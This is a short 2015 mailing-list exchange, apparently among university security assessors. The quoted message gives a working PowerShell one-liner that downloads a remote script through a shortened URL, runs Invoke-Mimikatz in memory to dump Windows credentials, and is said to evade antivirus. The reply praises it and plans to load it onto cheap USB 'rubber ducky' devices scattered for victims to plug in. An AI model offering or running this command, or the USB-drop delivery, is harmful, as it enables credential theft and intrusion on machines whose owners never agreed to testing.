That's a good find! I've been trying to solve the av-mimikatz issue for the rubber ducky for a little while now. I'll try it later when I can get a vm fired up.
I love that mimikatz has been rendered into it's own powershell commandlet. That's just awesome sauce on your steak, right there. It's one of the best custom written commandlets I've seen too. The reason AV doesn't alert on it is it's not truly the mimikatz binary, but is some kind of full powershell rewrite of the mimikatz functionality. I've used many powersploit commandlets before, even on your campus last week, but I've never seen or used this one. Pretty excited to see if I can finally make that work on the cheap digiasparks and their short memory! Then we'll have us some rubber ducky fun! Just throw those around everywhere to get plugged in.
On Wed, Apr 1, 2015 at 9:42 AM, Jon Barclay Jon.Barclay@uvu.edu wrote:
This command runs mimikats using PowerShell. It runs fully in memory and doesn’t touch disk except if you choose to dump the output to a text file. So far I haven’t seen AV detect it.
powershell "IEX (New-Object Net.WebClient).DownloadString(' http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds" > mimikatz.txt
USHE-assess mailing list USHE-assess@lists.dixie.edu http://lists.dixie.edu/cgi-bin/mailman/listinfo/ushe-assess